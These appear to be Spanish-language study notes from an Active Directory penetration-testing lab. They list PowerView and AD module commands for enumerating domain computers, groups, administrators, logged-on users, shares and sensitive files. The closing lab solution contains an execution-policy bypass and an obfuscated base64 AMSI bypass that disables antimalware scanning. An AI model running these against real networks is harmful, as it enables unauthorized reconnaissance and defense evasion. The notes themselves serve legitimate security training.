# 1. Domain Enumeration Part 2 - O1
### Get a list of computers in the current domain
#### Powerview
Get-NetComputer
Se obtienen las maquinas miembros en este dominio, incluido el DC, los servidores y diferentes máquinas.
Recordar que lo mostrado son objetos de computadora:

Get-NetComputer -OperatingSystem "\*Server 2016\*"
Ver cuantas máquinas en el dominio son máquinas del servidor 2016

Get-NetComputer -Ping
Para verificar si las máquinas están activas o no, es decir, comprueban la conexión(ICMP)
Esto puede darte un falso positivo
Get-NetComputer -FullData
Se obtiene toda la data de c/u de las computadoras

Recordar que podemos usar PowerView de forma personalizada:
Get-NetComputer -FullData | select operatingsystem
#### Modulo AD
Get-ADComputer -Filter * | select Name
Obtengo una lista de todas las máquina en el dominio actual
Get-ADComputer -Filter 'OperatingSystem -like \"\*Server 2016\*\"' -Properties OperatingSystem | select Name,OperatingSystem

Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
Muestra todas las propiedades de todos los objetos de la computadora en el dominio.
### Get all the groups in the current domain
#### PowerView
Get-NetGroup
Brinda información sobre todos los grupos de dominio, no grupos locales

Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Obtiene toda la información sobre los grupos o alguno en particular

Get-NetGroup -GroupName 'Domain Admins'
Get-NetGroup -GroupName 'Domain Admins' -FullData
Get-NetGroup -GroupName *admin*
Devuelve todos los grupos que contengan "admin" en sus nombres

Get-NetGroup -GroupName *admin* -Domain moneycorp.local
Este comando nos entrega un grupo adicional llamada "Enterprise Key Admins" y "Enterprise Admins", "Schema Admins" puesto que estos grupos solo se encuentran en la ruta del bosque.

#### ModuleAD
Get-ADGroup -Filter * | select Name

Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "\*admin\*"' | select Name

### Get all the members of the Domain Admins group
#### PowerView
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
La opción "-Recurse" muestra de forma recursiva cada uno de los miembros que pertenecen al grupo y subgrupos de "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins"

IsGroup: Indica si es o no un grupo. Recordar que un grupo puede estar en otro grupo.
MemberName: Indica el nombre
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain moneycorp.local

#### Module AD
Get-ADGroupMember -Indetity "Domain Admins" -Recursive
### Get the group membership for a user:
Sirve para obtener los grupos de dominio a los cuales pertenece un usuario
#### PowerView
Get-NetGroup -UserName "student1"
#### Module AD
Get-ADPrincipalGroupMembership -Identity student1

### List all the local groups on a machine(Necesita derechos de administrador local o alguna condición especial en la máquina)
Lista grupos locales
#### PowerView
Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups

### Get members of all the local groups on a machine(Necesita derechos de administrador local o alguna condición especial en la máquina)
Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse
## PowerView
### Get actively logged users on a computer
Get-NetLoggedon -ComputerName <servername>
### Get locally logged users on a computer
Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local
### Get the last logged users on a computer
Get-LastLoggedon -ComputerName <servername>
### Find shares on hosts in current domain
Invoke-ShareFinder -Verbose
Nos muestra recursos compartidos que son legibles y accesibles hacia nosotros.

### Find sensitive files on computers in the domain
Invoke-FileFinder -Verbose
### Get all fileservers of the domain
Get-NetFileServer

## Learning Objective 1
Task
Enumerate following for the dollarcorp domain
* Users
* Computers
* Domain Administrators
* Enterprise Administrators
* Shares
Solución
```
powershell -ep bypass
```


```
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
. .\PowerView.ps1
```
```
Get-NetUser
```

```
Get-NetUser | select samaccountname
```

```
Get-NetComputer
```

```
Get-NetGroup
```

```
Get-NetGroup -GroupName "Domain Admins" -FullData
```

```
Get-NetGroupMember -GroupName "Domain Admins"
```

```
Get-NetGroupMember -GroupName "Enterprise Admins" –Domain moneycorp.local
```
```
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
```